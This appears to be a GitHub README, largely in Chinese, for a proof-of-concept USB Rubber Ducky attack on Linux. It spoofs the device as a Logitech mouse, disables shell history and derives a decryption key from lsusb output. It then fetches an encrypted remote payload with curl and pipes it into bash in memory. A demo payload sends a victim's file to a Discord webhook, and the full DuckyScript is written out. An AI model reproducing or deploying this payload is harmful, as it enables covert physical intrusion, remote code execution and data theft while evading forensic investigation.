OSINTI4L/Gobbledegook

GitHub: OSINTI4L/Gobbledegook

Gobbledegook 是一个概念验证热插拔攻击 payload,通过运行时内存密钥推导和无文件执行技术来抵抗 Linux 系统的事后磁盘取证分析。

Stars: 0 | Forks: 0

# 🔑 Gobbledegook 🔒
Gobbledegook 是一个概念验证(PoC)热插拔攻击 payload,旨在抵抗针对 Linux 系统的事后磁盘取证。 **实验环境:** - Ubuntu Server 24.04 - Ubuntu Desktop 24.04 - [Hak5 USB Rubber Ducky](https://shop.hak5.org/products/usb-rubber-ducky) ## 摘要 Gobbledegook 采用通过 `openssl` 实现的两步 payload 加密方法,用于获取攻击者外部托管的加密 payload,并加密热插拔下载器 payload(用于注入和获取外部托管的 payload),从而提高对事后磁盘取证的抵抗能力。这些 payload 通过 `openssl` 进行加密并进行 `base64` 封装,所使用的对称环境密钥源自通过 `lsusb -v` 从热插拔设备本身收集的 USB“架构参数”。这意味着 payload 解密密钥的推导是在攻击运行时于内存中执行的;它既不存储在热插拔设备上,也不从外部来源获取,更不会保存到磁盘。从 USB“架构参数”收集的值通常不会被记录到磁盘,它们会在运行时于内存中通过 `lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket" | awk '"'"'{print $2}'"'"' | paste -sd "-" -` 串联起来以创建解密密钥(密钥示例:`0xc0-100mA-3-0x0008`)。热插拔设备的厂商和产品 ID 进行了伪装(`VID_0x046D PID_0xC05A MAN_Logitech SERIAL_0 PROD_M100`),以便事后日志分析时将该设备识别为 Logitech 鼠标,从而掩盖使用了热插拔设备的事实。热插拔下载器 payload(如前所述)也是加密的。这意味着注入的命令直到运行时才会被解密,因此,终端命令输入的日志记录将只提供密文,此外还使用了 `set +o history && unset HISTFILE` 作为减少日志记录面的附加方法。一旦注入,便会执行解密密钥推导并将其传递给 `openssl` 以解密下载器 payload。随后,下载器 payload 被通过管道传递给 `Bash` 在内存中执行,无需将任何文件写入磁盘。接着,通过 `curl` 获取主 payload,传递给 `openssl` 进行解密,最后通过管道传递给 `Bash` 执行;整个过程完全在内存中执行。payload 执行完毕后,会使用终端 `exit` 命令来掩盖终端的交互痕迹。 **payload 执行过程的流程如下:** 1. 将热插拔设备插入目标机器 2. 终端弹出 3. 禁用 `Bash` 历史记录内存日志,并取消设置 `Bash` 历史记录文件 4. 加密的下载器 payload 被注入终端 5. 下载器 payload 通过管道传递给 `openssl` 6. 执行解密密钥推导 7. 下载器 payload 被解密并通过管道传递给 `Bash` 执行 8. 获取外部托管的加密主 payload 9. 主 payload 通过管道传递给 `openssl` 进行解密,随后通过管道传递给 `Bash` 执行 10. payload 执行完成后使用 `exit` 掩盖终端交互痕迹 ## 使用场景 在试图通过热插拔攻击入侵 Linux 机器时,针对磁盘取证的操作安全考量。 ## 注意事项 虽然此 PoC 中的步骤强调反磁盘取证,但应注意,*这**并不能**完全涵盖*所有的取证规避。EDR 系统、网络监控系统、RAM/进程监控、从非重新分配的内存空间中恢复数据等,都可能绕过反取证工作。此外,虽然*密钥本身*被设计为仅在运行时于内存中推导,但密钥推导过程(`"$(lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket"`)必须保持明文形式,以便 shell 能够解析它。 ## 工作流 ### 收集密钥 **1) 在热插拔设备(USB Rubber Ducky)上使用“虚拟” DuckyScript payload 来推导要使用的加密密钥:** ``` ATTACKMODE STORAGE WAIT_FOR_BUTTON_PRESS ATTACKMODE HID VID_0x046D PID_0xC05A MAN_Logitech SERIAL_0 PROD_M100 DELAY 90000 ``` **2) 收集参数值并串联起来形成密钥:** `lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket" | awk {'print $2}' | paste -sd "-" -` 密钥示例:`0xc0-100mA-3-0x0008` ### Payload 创建 **1) 创建要外部托管的 payload 并保存为 payload.txt** (通过 Discord webhook 渗透目标机器上名为“wowmuchsecret.txt”的文件的演示 payload) ``` curl -X POST -H "Content-Type: multipart/form-data" \ -F "file=@/home/$USER/wowmuchsecret.txt" \ -F "content=$ Loot Incoming $" \ "https://discord.com/api/webhooks/YOURWEBHOOKHERE" ``` **2) 使用“收集密钥”步骤中的密钥加密 payload** `openssl enc -aes-256-cbc -salt -pbkdf2 -a -pass pass:"0xc0-100mA-3-0x0008" -in payload.txt` 输出示例: `U2FsdGVkX1/iF9yKhLZtEU07Aa4kJmgjFdVH6Pa0vBppkAtUY3glTbXeb6tq/VEUo9//nFH40AU6ZBGMA1izQzBovezzRLQ2amCGIDEDSl2K+eqr/qIkzb6WfvfESwGo3ik677Ml5nRUH7xyAwwvjA98crrRwYwyIXXY6UrNlHacFRrWCnrHd/+xShAG9XOn5K6kMM7MBGphJv3AIB0ZhCYsywB55OlbnvWUODHSVyHcPMfa6jq/fI6EvCv8xeusDczaGhqWuXJldB+AuxX5IA==` **3) 将加密的 payload 托管到 payload 投递服务器** 示例: `https://raw.githubusercontent.com/HeckinH4ckerm4n/t5/refs/heads/main/payload.txt` ### 下载器 Payload 创建 **1) 创建指向托管 payload 的下载器** (粘贴到终端中) `CMD_STRING='curl -sSL https://raw.githubusercontent.com/HeckinH4ckerm4n/t5/refs/heads/main/payload.txt | openssl enc -aes-256-cbc -d -pbkdf2 -a -pass pass:"$(lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket" | awk '"'"'{print $2}'"'"' | paste -sd "-" -)" | bash'` **2) 使用“收集密钥”步骤中的密钥进行加密** `echo "$CMD_STRING" | openssl enc -aes-256-cbc -salt -pbkdf2 -a -pass pass:"0xc0-100mA-3-0x0008"` 输出示例: `U2FsdGVkX1965pdGIEEHRZa8ZXFiL0iWSjVlWB9Sclwq4RYRrOBWQiZelGCZvA/CAMUeVz1Udy/pJmXaWo+MenH7slYwQFL893UTvsDuW/JOCCTRKJBjDjpzaQ9xkgbREQDG895gVTsnCKOJzjoSflNkKt360bGraBQBSW9h4VHcx4l3dSbiYyeOlLJzhs2juvlx0Z0CFHH6N+H5oyBa91rsrNmt+82AkTEQk+LqSirT+vkGt1mtTgMh+rvpLfU2SIIpXVjZ1pbFYIE022iWzly77dT4p+ckJBNGOhrlZPT6sN3LRsSO8fp3GYw1e9EcgZIWrYwSIM8nU7V3yxRspZDWTLHaJiui+i3YhpeB9Tq2lHmbU67yG0sHHM5UFnTL` **3) 导入到 [Payload Studio](https://payloadstudio.hak5.org/)*** (完整的 DuckyScript 下载器 payload) ``` ATTACKMODE STORAGE WAIT_FOR_BUTTON_PRESS ATTACKMODE HID VID_0x046D PID_0xC05A MAN_Logitech SERIAL_0 PROD_M100 <--- Device spoofing DELAY 1000 CTRL ALT t <--- Terminal pop DELAY 1000 STRINGLN_BASH set +o history && unset HISTFILE <--- Terminal history disabled echo "U2FsdGVkX1965pdGIEEHRZa8ZXFiL0iWSjVlWB9Sclwq4RYRrOBWQiZelGCZvA/CAMUeVz1Udy/pJmXaWo+MenH7slYwQFL893UTvsDuW/JOCCTRKJBjDjpzaQ9xkgbREQDG895gVTsnCKOJzjoSflNkKt360bGraBQBSW9h4VHcx4l3dSbiYyeOlLJzhs2juvlx0Z0CFHH6N+H5oyBa91rsrNmt+82AkTEQk+LqSirT+vkGt1mtTgMh+rvpLfU2SIIpXVjZ1pbFYIE022iWzly77dT4p+ckJBNGOhrlZPT6sN3LRsSO8fp3GYw1e9EcgZIWrYwSIM8nU7V3yxRspZDWTLHaJiui+i3YhpeB9Tq2lHmbU67yG0sHHM5UFnTL" | openssl enc -aes-256-cbc -d -pbkdf2 -a -pass pass:"$(lsusb -v -d 0x046D:0xC05A 2>/dev/null | grep -E "bmAttri|MaxPower|wMaxPacket" | awk {'print $2}' | paste -sd "-" -)" | bash && exit <--- Downloader payload injected END_STRINGLN ``` **4) 编译** **Payload 现已激活并准备好进行投递。**
标签:DNS 反向解析, USB攻击, 反取证, 子域名变形, 安全攻防, 安全测试工具, 安全评估, 应用安全, 物理安全